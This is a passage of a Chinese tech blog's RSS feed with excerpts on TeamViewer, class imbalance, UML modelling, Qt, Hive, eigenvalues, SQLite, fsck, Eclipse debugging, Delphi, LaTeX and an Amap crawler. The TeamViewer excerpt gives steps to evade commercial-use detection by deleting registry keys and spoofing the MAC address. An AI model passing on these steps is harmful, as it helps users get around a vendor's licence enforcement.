打开程序控制面板，找到Teamviewer软件进行卸载。第二步：清除Teamviewer注册表。快捷键WIN+R,打开运行，输入regedit 确定打开注册表。删除两个地方。(1) HKEY_CURRENT_USER/Software/Teamviewer; (2) HKEY_LOCAL_MACHINE/Software/Teamviewer。第三步：修改MAC地址。官方是通过检测MAC地址标定唯一的Teamviewer，所以修改了MAC地址，相当于以前没有安装过。&#xA;在数字数据里填入12个字符确定，网上有资料说：填入的字符，第二个字符必须使用2,6，A或E，否则有可能不成功! 重启电脑或者禁用网卡重新连接后，看看网卡MAC是不是改了。&#xA;第四步：重新安装Teamviewer。如果ID放生变化，则修改成功。第五步：如果修改其中一台计算机没有解决问题，则用同样的步骤修改另一台计算机。 2. 网上下载安装破解版 (会出现莫名奇妙的问题) 略。&#xA;3. 更换ID（此方法可行，但是容易过期，没试过，第一种修改后ID也是发生改变，但是比较稳定）。（同样是两台计算机上的Teamviewer都要试试）。 略。具体解决方案，可以搜索下修改Teamviewer ID。&#xA;4. 向官方申请将自身ID加入到家庭版本即可（最直接的方法，此方法可行，而且使用时间较长，如果再次被标记，重复此方法即可。但是等待回复时间可能较长） 被检测到商用问题，我最直接的方法是去Teamviewer官网去个人使用验证申诉一下就可以解决了。&#xA;teamviewer申诉地址：https://www.teamviewer.com/en/support/personal-use-verification/&#xA;Device ID: Teamviewer设备的ID。&#xA;Email：可接收邮件即可。&#xA;原因：被误检测为商用，会话时间限制等等即可。&#xA;文件地址： 其他 --&amp;gt; 打开日志文件。（文件就在Teamviewer安装路径下，文件名看网页上右侧说明）&#xA;最后收到邮件：&#xA;参考链接：&#xA;[1]: https://blog.csdn.net/qq_25631627/article/details/82971447&#xA;[2]: https://51.ruyo.net/8967.html&#xA;[3]: http://blog.51cto.com/12822117/2121537?from=groupmessage&#xA;[4]: https://blog.csdn.net/u011497507/article/details/79770468&#xA;[5]: https://blog.csdn.net/qq_34719188/article/details/83083207</description>
    </item>
    <item>
      <title>样本不平衡问题分析与部分解决办法</title>
      <link>https://bchobby.github.io/posts/0bfdaaa9d7d8b27185303f24ed47c55f/</link>
      <pubDate>Sun, 20 Jan 2019 14:11:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bfdaaa9d7d8b27185303f24ed47c55f/</guid>
      <description>最近工作中在处理文本分类问题遇到了分类不均衡的问题，主要还是样本太少还同时非常的不均衡正负样本1:10（类别不平衡比例超过4:1，就会造成偏移），就使用了SMOTE方法。&#xA;注意：在进行数据增广的时候一定要将测试集和验证集单独提前分开，扩张只在训练集上进行，否则会造成在增广的验证集和测试集上进行验证和测试，在实际上线后再真实数据中效果可能会非常的差。&#xA;目录&#xA;什么是样本类别分布不均衡？&#xA;问题描述&#xA;样本类别分布不均衡导致的危害？&#xA;以下以二分类问题为例说明。&#xA;1. SMOTE(Synthetic Minority Over-sampling Technique)过采样小样本（扩充小类，产生新数据）&#xA;2. 欠采样大样本（压缩大类，产生新数据）&#xA;3. 对小类错分进行加权惩罚&#xA;4. 分治ensemble&#xA;5. 分层级ensemble&#xA;6. 基于异常检测的分类&#xA;7. 其他...待补充。&#xA;解决方法示例：&#xA;1.通过过抽样和欠抽样解决样本不均衡&#xA;（1）过抽样（over-sampling）：通过增加分类中少数类样本的数量来实现样本均衡，比较好的方法有SMOTE算法。&#xA;（2）欠抽样（under-sampling）：通过减少分类中多数类样本的数量来实现样本均衡&#xA;2.通过正负样本的惩罚权重解决样本不均衡&#xA;后附样本不平衡的问答系列&#xA;Jason Brownlee的回答：&#xA;类别不均衡问题是现实中很常见的问题&#xA;八大解决方法&#xA;Sergey Feldman的回答：&#xA;Kripa Chettiar的回答：&#xA;Roar Nybø的回答：&#xA;Dan Levin的回答：&#xA;Kaushik Kasi的回答：&#xA;Quora User的回答：&#xA;Dayvid Victor的回答：&#xA;Muktabh Mayank的回答：&#xA;Sandeep Subramanian的回答：&#xA;Quora User的回答：&#xA;Sumit Soman 的回答：&#xA;什么是样本类别分布不均衡？ 举例说明，在一组样本中不同类别的样本量差异非常大，比如拥有1000条数据样本的数据集中，有一类样本的分类只占有10条，此时属于严重的数据样本分布不均衡。&#xA;问题描述 先举一个“恐怖”的例子，直观的感受一下样本不平衡问题：&#xA;你根据1000个正样本和1000个负样本正确训练出了一个准确率90%召回率90%的分类器，且通过实验验证没有欠采样过采样的问题哦~完美的样本，完美的模型，破费，你心里暗自得意。然后模型上线，正式预测每天的未知样本~。&#xA;开始一切都很美好，准确率召回率都很好。直到有一天，数据发生了一点变化，还是原来的数据类型和特征，只是每天新数据中正负样本变成了100个正样本，10000个负样本。注意，先前准确率90%的另一种表达是负样本有10%的概率被误检为正样本。好了，模型不变，现在误检的负样本数是10000*0.1=1000个，正样本被检出100*0.9（召回）=90个，好了，这个时候召回率不变仍为90%，但是新的准确率=90/(1000+90)=8.26% 。震惊吗！？恐怖吗！？&#xA;结论： 同一个模型仅仅是改变了验证集的正负样本比例，模型已经从可用退化成不可用了！！样本不平衡问题可怕就可怕在这，往往你的模型参数，训练，数据，特征都是对的！能做的都做了，但你的准确率就是上不去！！绝望吧。。。。。。&#xA;问题定义：数据集中，每个类别下的样本数目相差很大（数量级上的差距）。&#xA;样本类别分布不均衡导致的危害？ 样本类别不均衡将导致样本量少的分类所包含的特征过少，并很难从中提取规律；即使得到分类模型，也容易产生过度依赖与有限的数据样本而导致过拟合问题，当模型应用到新的数据上时，模型的准确性会很差。</description>
    </item>
    <item>
      <title>UML-组件图-网上书店</title>
      <link>https://bchobby.github.io/posts/c27784e98bdd8ce1fb55f750f016937c/</link>
      <pubDate>Sat, 19 Jan 2019 15:54:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c27784e98bdd8ce1fb55f750f016937c/</guid>
      <description>实验目的 (1) 理解组件图的基本概念；&#xA;(2) 理解部署图的基本概念；&#xA;(3) 理解包图的基本概念；&#xA;(4) 掌握在Rational Rose中绘制组件图、部署图和包图的操作方法。&#xA;实验内容 一、理解并绘制组件图。(文件名命名为订单模块组件图.mdl)&#xA;理解并绘制如下类图(类Product、Custmer和Account的访问权限设置为无修饰符Implementation，为什么？)，并Forward Engineer生成Java代码(应该有7个文件，为什么？)，观察类和文件的对应关系。注意：执行了Forward Engineer后会自动生成7个组件?，删掉。 订单模块类图：&#xA;在以上类图基础上，绘制组件图(组件Order包含类Oeder，组件IProduct包含接口IProduct和类Product，组件ICustomer包含接口ICustomer和类Customer，组件IAccount包含接口IAccount和类Account)；Forward Engineer生成Java代码(可以在类图也可以在组件图中生成，为什么？)，观察类和文件的对应关系，并与上一步的比较。思考：为什么组件名称必须和类或接口名称一致？ 订单模块组件图：&#xA;二、UML建模综合练习–网上书店&#xA;1. 需求分析** 访谈调研&#xA;**书店经理：**我们原本是一个传统的实体书店，顾客要买书都是亲自到书店来的，这样挺不方便。而且随着书店销售图书种类和数量的增加以及顾客的增长，尤其是大量顾客到书店选购图书，使得书店场地不足，工作人员也很忙碌。其实，还有一点就是，有不少人进入书店后并不买书，只是查找些资料，有的甚至会在这呆上很长的时间直到把书免费看完。这种行为，工作人员一般是不阻止的，结果最后这些被看过的书会因为有阅读过的痕迹而影响销售。而且现在电子商务已经发展起来了，所以我们想到借助网络，让顾客通过网上书店购买图书。这样我们书店可以省掉大量的场地维护和工作人员成本支出，同时计算机可以方便的检索图书信息，让顾客可以足不出户以更优惠的价格买到需要的书。**系统分析员：**能谈谈您对网上书店的要求吗？**书店经理：**网上书店要能实现对外和对内的功能，对外是顾客能在网上书店订购图书，能提交订单。对内，书店工作人员能够通过网上书店及时的看到这些订单，并进行处理。为了把书送到顾客手里，我们已经联系了快递公司初步达成协议，由他们往返顾客和书店之间把图书送到顾客手里。书店管理员受理订单后，就会通知快递公司送货。当然，书店的图书上架和下架也应该由网上书店完成了。**工作人员甲：**实体店中，图书是按照不同种类放置的，方便顾客挑选。网上书店的图书也应该能够按照这种模式分类显示。这样，图书的信息和种类要由网上书店设置和管理。已有种类的新书或新种类的图书上架，网上书店能够保存这些信息。如果信息输入错误，能够进行修改。**工作人员乙：**另外书店会搞一些促销，推出一些特价图书。以前这些特价书的信息，都是我们根据促销活动整理出来，贴在书店的醒目位置。促销活动过后，特价图书会回复原来的价格。希望网上书店也能够管理这些特价图书。**系统分析员：**能谈谈平时买书的经过吗？&#xA;顾客甲：一般都是先在书店里看看图书的简要介绍，或者先找找看有没有自己需要的书，有时是没有目标的寻找，有时直奔一类图书而去。找到我想买的书或者觉得看的书不错，就会去柜台结账。**工作人员丙：**不过有时在结账的时候，顾客会突然改变主意，不买一些书或者又回去挑选图书了。&#xA;顾客甲：有时好像是这样的。要是网上书店在结账前能方便管理我所选购的图书就好了，这样通过计算机直接操作，就不用跑来跑去了。&#xA;系统分析员：可以使用虚拟的购物车。**工作人员丙：**对，这样在用户确认购买前可自行管理选购的图书，决定要不要购买，还有购买数量。&#xA;系统分析员：顾客先使用虚拟的购物车选购管理图书，然后提交订单给书店处理，是这样吧。**书店经理：**没错，就这样办。另外最好顾客能够留下向己的信息，方便以后购买。**顾客：**你们可以实行会员制啊。就像我们在网上逛论坛一样，会员才能发言普通游客只能看。这样我们平时就只在网上书店查查资料什么的，只在购买图书的时候才使用会员身份。**书店经理：**恩，这样不仅可以保留你们的信息，也可以保留购买记录。&#xA;系统分析员：会员提交购买订单后，书店打算如何收取或者说用户怎么付款&#xA;书店经理：我们可以接受货到付款，顾客也可以使用网上银行、汇款等方式付款。**顾客：**这样我们就方便多了。对了，那是不是付款前，我还多了一次“反悔”的机会啊。**书店经理：**在我们书店没有受理订单之前，你们可以取消交易。不过受理后就不行了。&#xA;通过几次这样的访谈(限于篇幅，在此并未列出所有访谈内容)，可以获得网上书店的需求信息，确定系统范围。网上书店是实现对实体书店内部图书商品和顾客购买图书的综合管理系统。 (1) 识别参与者&#xA;网上书店的主要参与者有会员，以及管理人员。此外，访客(非会员)也可是使用该系统进行一些图书资料的查询等。&#xA;另外，为了业务发展和内部管理分工明确，书店希望按照工作范围分配管理员的职责权限，管理员分为商品管理员、订单管理员和系统管理员。&#xA;(2) 识别用例并绘制用例图&#xA;在用例建模阶段，为降低用例图的复杂性，将网上书店划分为两个子系统即顾客购书子系统和书店内部管理子系统。会员和访客属于顾客购书子系统管理员则属于书店内部管理子系统。&#xA;访客用例图：&#xA;会员用例图：&#xA;书店管理员用例图：&#xA;用例描述：&#xA;需求分析阶段类图&#xA;2. 动态建模 (1)系统动态建模–活动建模&#xA;会员选购图书活动图：&#xA;订单管理员处理订单活动图：&#xA;商品管理员图书信息活动图：&#xA;系统管理员活动图：&#xA;(2)系统动态建模–用例的行为顺序(图)&#xA;直接绘制某个用例背后的顺序图并不容易–用BEC模式来解决这个问题；&#xA;BEC模式：将对象分为三类–边界对象-控制对象-实体对象；&#xA;参与者只能与边界对象互动每个用例可以对应生成一个控制类实体对象一般不能发送消息给边界对象和控制对象(返回消息除外)。 管理员登录顺序图：&#xA;会员添加图书到购物车顺序图：&#xA;(3) 系统动态建模–对象的状态图&#xA;本系统具有明显转换状态的类是订单(对象)；具有：确认订单-等待到款-等待受理-已受理-已发货-交易成功-取消 7种状态&#xA;订单简单状态图：</description>
    </item>
    <item>
      <title>Qt qOverload函数介绍</title>
      <link>https://bchobby.github.io/posts/7e4d68b8d3cf01d667403fea7d1bab22/</link>
      <pubDate>Sat, 19 Jan 2019 14:54:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e4d68b8d3cf01d667403fea7d1bab22/</guid>
      <description> Qt qOverload函数介绍 函数原型 auto qOverload(T functionPointer) 详细介绍 该函数返回一个指向重载函数的指针，其中的模板参数是重载函数参数类型的列表（list）。functionPointer是重载函数（成员函数）的指针：&#xA;struct Foo { void overloadedFunction(); void overloadedFunction(int, QString); }; ... qOverload&amp;lt;&amp;gt;(&amp;amp;Foo::overloadedFunction) ... qOverload&amp;lt;int, QString&amp;gt;(&amp;amp;Foo::overloadedFunction) 如果其中有成员函数是const-overloaded类型的，则必须使qConstOverload 和qNonConstOverload，而不是，例如：&#xA;struct Foo { void overloadedFunction(int, QString); void overloadedFunction(int, QString) const; }; ... qConstOverload&amp;lt;int, QString&amp;gt;(&amp;amp;Foo::overloadedFunction) ... qNonConstOverload&amp;lt;int, QString&amp;gt;(&amp;amp;Foo::overloadedFunction) qOverload()需要C++14的支持。在C++11风格的代码中，QOverload、 QConstOverload和QNonConstOverload类也可以直接这样使用：&#xA;... QOverload&amp;lt;&amp;gt;::of(&amp;amp;Foo::overloadedFunction) ... QOverload&amp;lt;int, QString&amp;gt;::of(&amp;amp;Foo::overloadedFunction) **注意：**Qt会根据《C++ Committee’s Standing Document 6》中的特征测试推荐来检测必要的C++14编译器支持。&#xA;应用示例 例如，QComboBox类的存在如下信号：&#xA;[signal] void QComboBox::currentIndexChanged(int index) 当ComboBox的当前索引currentIndex发生变化时，该信号就会被发出。参数index可以传递当前索引值，并且当ComboBox的项为空或者currentIndex被重置时，参数index为-1。&#xA;该信号在该类中被重载。要通过函数指针的语法连接该信号，就可以借助qOverload类获取函数指针，这也是Qt官方文档推荐的连接方式：&#xA;connect(comboBox, QOverload&amp;lt;int&amp;gt;::of(&amp;amp;QComboBox::currentIndexChanged), [=](int index){ /* ... */ }); </description>
    </item>
    <item>
      <title>hive踩过的坑</title>
      <link>https://bchobby.github.io/posts/6ef3d61bde6267f3750f88d6095982a3/</link>
      <pubDate>Sat, 19 Jan 2019 13:35:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ef3d61bde6267f3750f88d6095982a3/</guid>
      <description>1、hive 中 between的是包括边界值的 a between 1 and 10 = a&amp;lt;=10 and a&amp;gt;=1&#xA;2、case when 只能限制一列的值。 一个 case后只能限制一列，其他的不行！！！</description>
    </item>
    <item>
      <title>特征值分解：特征值，特征向量，特征向量矩阵</title>
      <link>https://bchobby.github.io/posts/4f2b256178c80093729c5f96718306e4/</link>
      <pubDate>Sat, 19 Jan 2019 09:57:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f2b256178c80093729c5f96718306e4/</guid>
      <description>特征值，特征向量，特征向量矩阵&#xA;一图胜千言：&#xA;特征向量矩阵S，由矩阵A的所有线性无关的特征向量按列排列（从大到小）组成的矩阵。&#xA;特征值矩阵，有矩阵A的所有特征值放在对角线位置组成的对角矩阵。&#xA;特征值和特征向量&#xA;特征值分解的物理意义（转载） 矩阵的特征值分解目的就是提取出一个矩阵最重要的特征。&#xA;这其实是在平面上对一个轴进行的拉伸变换（如蓝色的箭头所示），在图中，蓝色的箭头是一个最主要的变化方向（变化方向可能有不止一个），如果我们想要描述好一个变换，那我们就描述好这个变换主要的变化方向就好了。&#xA;反过头来看看之前特征值分解的式子，分解得到的Σ矩阵是一个对角阵，里面的特征值是由大到小排列的，这些特征值所对应的特征向量就是描述这个矩阵变化方向（从主要的变化到次要的变化排列）。&#xA;当矩阵是高维的情况下，那么这个矩阵就是高维空间下的一个线性变换，这个线性变化可能没法通过图片来表示，但是可以想象，这个变换也同样有很多的变换方向，我们通过特征值分解得到的前N个特征向量，那么就对应了这个矩阵最主要的N个变化方向。我们利用这前N个变化方向，就可以近似这个矩阵（变换）。也就是之前说的：提取这个矩阵最重要的特征。&#xA;总结一下，特征值分解可以得到特征值与特征向量，特征值表示的是这个特征到底有多重要，而特征向量表示这个特征是什么，可以将每一个特征向量理解为一个线性的子空间，我们可以利用这些线性的子空间干很多的事情。不过，特征值分解也有很多的局限，比如说变换的矩阵必须是方阵。&#xA;什么是特征矩阵？&#xA;矩阵里涉及“特征”二字的都和λE-A有关,行列式|λE-A|是关于λ的一个多项式,称为A的特征多项式, 而|λE-A|=0是一个方程,它的根就称作A的特征值,同理矩阵λE-A就称为A的特征矩阵。&#xA;补充一：2. 中提到的“Q是这个矩阵A 的特征向量组成的矩阵”，这里特征向量如何组成矩阵呢？&#xA;我们知道，特征向量对应的特征值是唯一的。所以，这里将按特征值从大到小排序，再把排序后的特征值对应的特征向量（取前N个）组成新矩阵。&#xA;补充二： 如何求矩阵的特征向量？概括如下：&#xA;1.先求出矩阵的特征值: |A-λE|=0&#xA;2.对每个特征值λ求出(A-λE)X=0的基础解系a1,a2,…,as&#xA;3.A的属于特征值λ的特征向量就是 a1,a2,…,as 的非零线性组合&#xA;补充三： A = Q ∧ Q − 1 A = Q\wedge Q^{-1} A=Q∧Q−1 的官方说明 。这里的Q如果是对称阵可以写成 A = Q ∧ Q T A = Q\wedge Q^{T} A=Q∧QT，具体见官方说明。</description>
    </item>
    <item>
      <title>系统编程之数据库</title>
      <link>https://bchobby.github.io/posts/09397ae3d8e57232061499493ecae2a6/</link>
      <pubDate>Fri, 18 Jan 2019 21:48:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09397ae3d8e57232061499493ecae2a6/</guid>
      <description>数据查询：SELECT&#xA;数据操纵：INSERT、UPDATE、DELETE&#xA;数据控制：GRANT、REVOKE、DENY&#xA;– 创建表&#xA;create table if not exists student (id integer, name text, tel text);&#xA;– 查看表&#xA;.tables&#xA;– 查看表结构&#xA;.schema student&#xA;– 修改表&#xA;alter table student rename to stu; – 修改表名字&#xA;alter table student add column sex text;&#xA;– 插入数据&#xA;insert into student (id, name, tel, sex) values (1, “aaa”, “11111”, “m”);&#xA;insert into student (id, name) values (2, “bbb”);&#xA;insert into student values (3, “ccc”, “3333”, “f”), (4, “ddd”, “444444”, “m”);</description>
    </item>
    <item>
      <title>Ubuntu系统开机出错The root filesystem on /dev/sda1 requires a manual fsck解决方案</title>
      <link>https://bchobby.github.io/posts/550134be946b349cdcdb5ad77064f870/</link>
      <pubDate>Fri, 18 Jan 2019 19:41:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/550134be946b349cdcdb5ad77064f870/</guid>
      <description>电脑卡死后，未正常关机，选择强制关机，再次重启之后打开虚拟机发现开机出错。第一次报的错误没捕捉到，直接让我进入编辑模式，打开页面失败。还是用图像界面舒服，选择重启。然后出现以下错误。&#xA;dev/sda1: Inodes that were part of a corrupted orphan linked list found.&#xA;/dev/sda1: UNEXPECTED INCONSISTENCY:; RUN fsck MANUALLY&#xA;(i.e., without -a or -p options)&#xA;fsck exited with status code 4&#xA;The root filesystem on /dev/sda1 requires a manual fsck&#xA;modprobe: module ehci-orion not found in modules.dep&#xA;BusyBox v1.22.1 (Debian 1:1.22.0-9+deb8u1) built-in shell (ash)&#xA;Enter &#39;help&#39; for a list of built-in commands.&#xA;/bin/sh: can&#39;t access tty; job control turned off</description>
    </item>
    <item>
      <title>Eclipse中断点调试详解</title>
      <link>https://bchobby.github.io/posts/d9c4adc59cd8287af818a402c2630154/</link>
      <pubDate>Fri, 18 Jan 2019 16:57:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9c4adc59cd8287af818a402c2630154/</guid>
      <description>小编是刚学习Java两个月，在学习视频中看到老师玩断点6到飞起，自己也就各种查资料，实施并总结了一下断点的调试。&#xA;找到需要设置断点的位置 你可能会问，我怎么知道在哪设置断点呢？&#xA;如果你实在不知道在哪设置断点，那你完全可以多设置几个断点，单步调试直到找到异常，这样会多花一点时间，但是却可以更加深入的了解程序的执行过程如果你大致知道哪里出现了错误问题，或者异常信息报告类的位置，那么你就可以在这里设置断点 设置断点 断点大家都比较熟悉，在Eclipse Java 编辑区的行头，双击需要放置断点的程序左边的栏目上。如下图所示：&#xA;条件断点：顾名思义就是一个有一定条件的断点，只有满足了用户设置的条件，代码才会在运行到断点处时停止 在左边的栏目上，鼠标右键，选择&#34;Breakpoint Properties......&#34;&#xA;断点的属性界面以及各个选项的意思，如下图：&#xA;变量断点：将断点打在变量声明处 下图就是在一个变量上打的断点，在变量值的初始化，或是变量值改变时可以停止，当然变量断点上也是可以加条件的，和 上面的介绍的条件断点的设置是一样的&#xA;方法断点：将断点打在方法的入口处 方法断点的特别之处在于它可以打在 JDK的源码里，由于 JDK 在编译时去掉了调试信息，所以普通断点是不能打到里面 的，但是方法断点却可以，可以通过这种方法查看方法的调用栈&#xA;断点调试 打开Debug模式的三种方式：&#xA;点击&#34;打开透视图&#34;按钮，选择调试透视图，则打开调试透视图界面，然后先设置断点，按调试按钮则可以调试程序 或者直接点击调试按钮，那个虫子样子的按钮，然后就会进入调试透视图的界面。前提你需要是要在程序中设置好断点 或者 或者右键单击该程序，选择debug as（调试方式） -&amp;gt; java application（Java应用程序），则可以调试程序了。前提你需要是要在程序中设置好断点 调试快捷键 以debug方式运行java程序后&#xA;（F5）单步执行程序，遇到方法时进入：按F5就是一层层深入的debug相当于剥葱样，会进入每个方法内部；&#xA;（F6）单步执行程序，遇到方法时跳过： 按F6就是在当前函数一步步debug，不理会深层次运作；&#xA;（F7）单步执行程序，从当前方法跳出： 按F7就是如果当前进入了某个方法内部，都跳转到该方法的结尾代码处；&#xA;（F8）直接执行程序。遇到断点时暂停： 按F8就是如果后面还有断点，则运行到下一断点处，否则运行完程序；&#xA;另外在debug时，会有很多有用信息显示在debug框里，如堆栈信息，需要自己实践；在程序界面里，鼠标移到变量上时会有当前变量的属性值。&#xA;进入调试界面之前看到的跳转窗口 改变变量的值 在变量窗口中右击变量，在弹出的菜单中选择[change value]，弹出修改画面。 改变其值后，按下ok按钮；这时变量的值就改为修改后的值了。&#xA;第一步：点击&#34;Change Value....&#34;&#xA;第二步：插入值&#xA;第三步：修改值&#xA;检查代码段执行结果 下面按钮第一个是进入方法执行，比如你调用了其他方法，可以进入方法一步一步执行，如果点击第二个按钮，只会在本方法内一步一步执行，第三个按钮时你跳出此方法，继续执行调用这个方法的原方法，说明如下。&#xA;在程序运行的时候，想看看某段程序运行的结果是否正确，或者查看某个变量的值时：&#xA;选择一句或一段代码，右键单击在弹出的菜单中选择Watch（创建查看表达式）项，此时，代码的执行结果将显示在Expressions（表达式）窗口中。选择一句或一段代码，右键单击在弹出的菜单中选择Inspect（检查）项，可以直接显示表达式的值 在eclipse程序中设置的断点上有一个斜杠，正常启动debug不能够跳转到debug页面，怎么解决？&#xA;在run菜单里面，把&#34;skip all breakpoints&#34;选项勾去即可,这个选项可能是你无意间选上的。&#xA;远程调试 远程调试分为两种方式：【使用远程调试的前提是服务器和客户端的代码是一致的】&#xA;本机作为客户端本机作为服务端 属性解释：&#xA;-Xdebug：启用调试特性。-Xrunjdwp:&amp;lt;sub-options&amp;gt;：在目标 VM 中加载 JDWP 实现。它通过传输和 JDWP 协议与独立的调试器应用程序通信。下面介绍一些特定的子选项。【从 Java V5 开始，您可以使用 -agentlib:jdwp 选项，而不是 -Xdebug 和 -Xrunjdwp。但如果连接到 V5 以前的 VM，只能选择 -Xdebug 和 -Xrunjdwp。下面简单描述 -Xrunjdwp 子选项。】transport：这里通常使用套接字传输。但是在 Windows 平台上也可以使用共享内存传输。server：如果值为 y，目标应用程序监听将要连接的调试器应用程序。否则，它将连接到特定地址上的调试器应用程序。address：这是连接的传输地址。如果服务器为 n，将尝试连接到该地址上的调试器应用程序。否则，将在这个端口监听连接。suspend：如果值为 y，目标 VM 将暂停，直到调试器应用程序进行连接。 示例1：显示如何在调试模式下启动 VM 并监听端口 8765 的套接字连接？</description>
    </item>
    <item>
      <title>STM32理解笔记</title>
      <link>https://bchobby.github.io/posts/e6ea35c0523a5a2fc8aa818d107c6ffa/</link>
      <pubDate>Fri, 18 Jan 2019 14:44:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6ea35c0523a5a2fc8aa818d107c6ffa/</guid>
      <description> </description>
    </item>
    <item>
      <title>关于DelphiXE程序太大的问题</title>
      <link>https://bchobby.github.io/posts/37c262ed06296f42c8ee7daf504e3fd0/</link>
      <pubDate>Thu, 17 Jan 2019 14:01:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37c262ed06296f42c8ee7daf504e3fd0/</guid>
      <description>第一步:关闭debug infomation.&#xA;打开工程后,依次点击project–option–delphi compiler–linking 将右边Debug information改为False（记住 四个版本都要）&#xA;第二步: 关闭RTTi.&#xA;点击Project–view source.在第二行添加编译开关代码&#xA;{ Reduce EXE size by disabling as much of RTTI as possible (delphi 2009/2010) }&#xA;{$IF CompilerVersion &amp;gt;= 21.0}&#xA;{$WEAKLINKRTTI ON}&#xA;{$RTTI EXPLICIT METHODS([]) PROPERTIES([]) FIELDS([])}&#xA;{$IFEND}&#xA;第三步:设置运行时包.&#xA;打开工程后，依次点击project–option–Packages–Runtime Packages 勾选Link with runtime package.&#xA;（不建议开启，会有许多不必要的麻烦，单机小程序无所谓，设计ADO链接数据库强烈不建议！慎重哈）&#xA;第四步：如果你看到这里，安装包还没有低于10M，那么问题只有一个，你使用了第三方控件（里面包含皮肤控&#xA;件），点击Project–modify skin options 把勾全部去掉，然后在所有界面头部的uses，看到带skin的单元全部删&#xA;掉，只删除带skin的单元！然后运行编译即可，不用怕删除了必须的单元，Delphi会自动添加的。&#xA;第五步：重装Delphi。&#xA;第六步：打开百度一下：绝望的深刻意义。</description>
    </item>
    <item>
      <title>LATEX中使用中文</title>
      <link>https://bchobby.github.io/posts/dd692bcd3972712ed41b6e98b9bba265/</link>
      <pubDate>Thu, 17 Jan 2019 13:35:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd692bcd3972712ed41b6e98b9bba265/</guid>
      <description>在文章的开头加上：&#xA;\usepackage{fontspec, xunicode, xltxtra} \setmainfont{Microsoft YaHei} \usepackage{ctex} 例如：</description>
    </item>
    <item>
      <title>poi导出excel报错，本地测试通过，但发布到测试以及客户环境报错。</title>
      <link>https://bchobby.github.io/posts/6fe4ff297bc4c4fbd5960624b0e6b79e/</link>
      <pubDate>Thu, 17 Jan 2019 11:07:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6fe4ff297bc4c4fbd5960624b0e6b79e/</guid>
      <description>我的本地代码，导出excel都是可以的。但是发布到了测试环境或者客户环境，就会报错。&#xA;主要报错信息如下：&#xA;（每个页面的导出报错都不相同。。然后还报了一个org.apache.poi.hssf.util.HSSFColor的错误 T 。T 嘤嘤......哭泣脸）&#xA;第一个： org.springframework.web.util.NestedServletException:Handler dispatch failed; nested exception is java.lang.NoClassDefFoundError: Could not initialize class java.awt.Font&#xA;第二个： org.springframework.web.util.NestedServletException: Handler dispatch failed; nested exception is java.lang.NoClassDefFoundError: Could not initialize class sun.awt.X11GraphicsEnvironment&#xA;首先换了poi的版本，不好用。&#xA;然后面向百度开发！说是tomcat的bin目录下catalina.sh配置中加入一句话，&#xA;JAVA_OPTS=&#34;$JAVA_OPTS -Djava.awt.headless=true&#34; 加入后重启~~~~ 哎 好用了鸭！^_^&#xA;原因：看这里 →→→→→ 参考博客：https://blog.csdn.net/catoop/article/details/49057291</description>
    </item>
    <item>
      <title>【爬虫】Java关于高德地图爬取数据</title>
      <link>https://bchobby.github.io/posts/7371e04f15d2fa8b0e129e7eeaf96ede/</link>
      <pubDate>Wed, 16 Jan 2019 22:45:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7371e04f15d2fa8b0e129e7eeaf96ede/</guid>
      <description>不管是目前什么行业，对数据分析和做出合适的判断才是最重要的选择，比如，在某一个城市开一家餐馆，可以去了解这个城市目前一共有多少餐馆，分别那种菜系占比最多，大概菜系的分布范围等等信息，都可以通过爬虫的数据获得更好的分析和抉择。&#xA;总结步骤如下：&#xA;到高德开放平台 | 高德地图API注册账号，并且申请web服务的AK密钥，每次发送请求需要带着这个key去认证。注册账号登陆后点击右上角的控制台 -&amp;gt;应用管理 -&amp;gt; 创建应用 -&amp;gt; 添加新key,注意选择web api，就得到了一个可以使用web服务的key密钥。&#xA;查找高德地图提供的web api下的搜索模块使用API文档开发指南&#xA;http://lbs.amap.com/api/webservice/guide/api/search 之前本人试过通过高德地图中的搜索页面搜索功能，不输入key，但是访问次数有一定的限制，就会让输入拼图验证&#xA;这种方法不可取只能去注册key，然后去获得需要的数据&#xA;关于高德地图信息抓取，我们根据高德地图搜索POI文档 ，简单的说下两种比较实用的方法&#xA;第一种 多边形搜索&#xA;多边形搜索需要在地图上绘制经度和纬度用&#34;,&#34;分割，经度在前，纬度在后，坐标对用&#34;|&#34;分割。经纬度小数点后不得超过6位。 多边形为矩形时，可传入左上右下两顶点坐标对；其他情况下首尾坐标对需相同&#xA;示例：&#xA;如上图四个marker点，调用高德地图POI搜索功能即可搜索这个片区内的数据信息&#xA;测试接口：&#xA;https://restapi.amap.com/v3/place/polygon?polygon=108.875542,34.193769|108.880032,34.193724|108.880038,34.191466|108.875633,34.191399|108.875542,34.193769&amp;amp;key=&amp;lt;自己的Key&amp;gt;&#xA;可传入keywords和types，当keywords和types为空的时候， 会默认指定types为120000（商务住宅）&amp;amp;150000（交通设施服务） 查询POI类型下载POI分类编码和城市编码表 https://lbs.amap.com/api/webservice/download POI分类编码部分截图&#xA;由此可见，可以根据需要的菜系类型查找某一地区菜系的分布效果&#xA;返回数据格式：&#xA;名称&#xA;含义&#xA;规则说明&#xA;status&#xA;结果状态值，值为0或1&#xA;0：请求失败；1：请求成功&#xA;info&#xA;返回状态说明&#xA;status为0时，info返回错误原因，否则返回“OK”。详情参阅info状态表&#xA;count&#xA;搜索方案数目(最大值为1000)&#xA;suggestion&#xA;城市建议列表&#xA;当用户输入的词语为泛搜索词的时候，将显示城市列表&#xA;keywords&#xA;唯一ID&#xA;cities&#xA;城市列表&#xA;name&#xA;名称&#xA;num&#xA;该城市包含此关键字的个数&#xA;citycode&#xA;该城市的citycode&#xA;adcode&#xA;该城市的adcode&#xA;pois&#xA;搜索POI信息列表&#xA;poi&#xA;POI信息&#xA;id&#xA;唯一ID&#xA;parent&#xA;父POI的ID&#xA;当前POI如果有父POI，则返回父POI的ID。可能为空&#xA;name</description>
    </item>
    <item>
      <title>网页小脚本，真简单 抢手机脚本 抢票脚本 淘宝脚本 不知道能不能行</title>
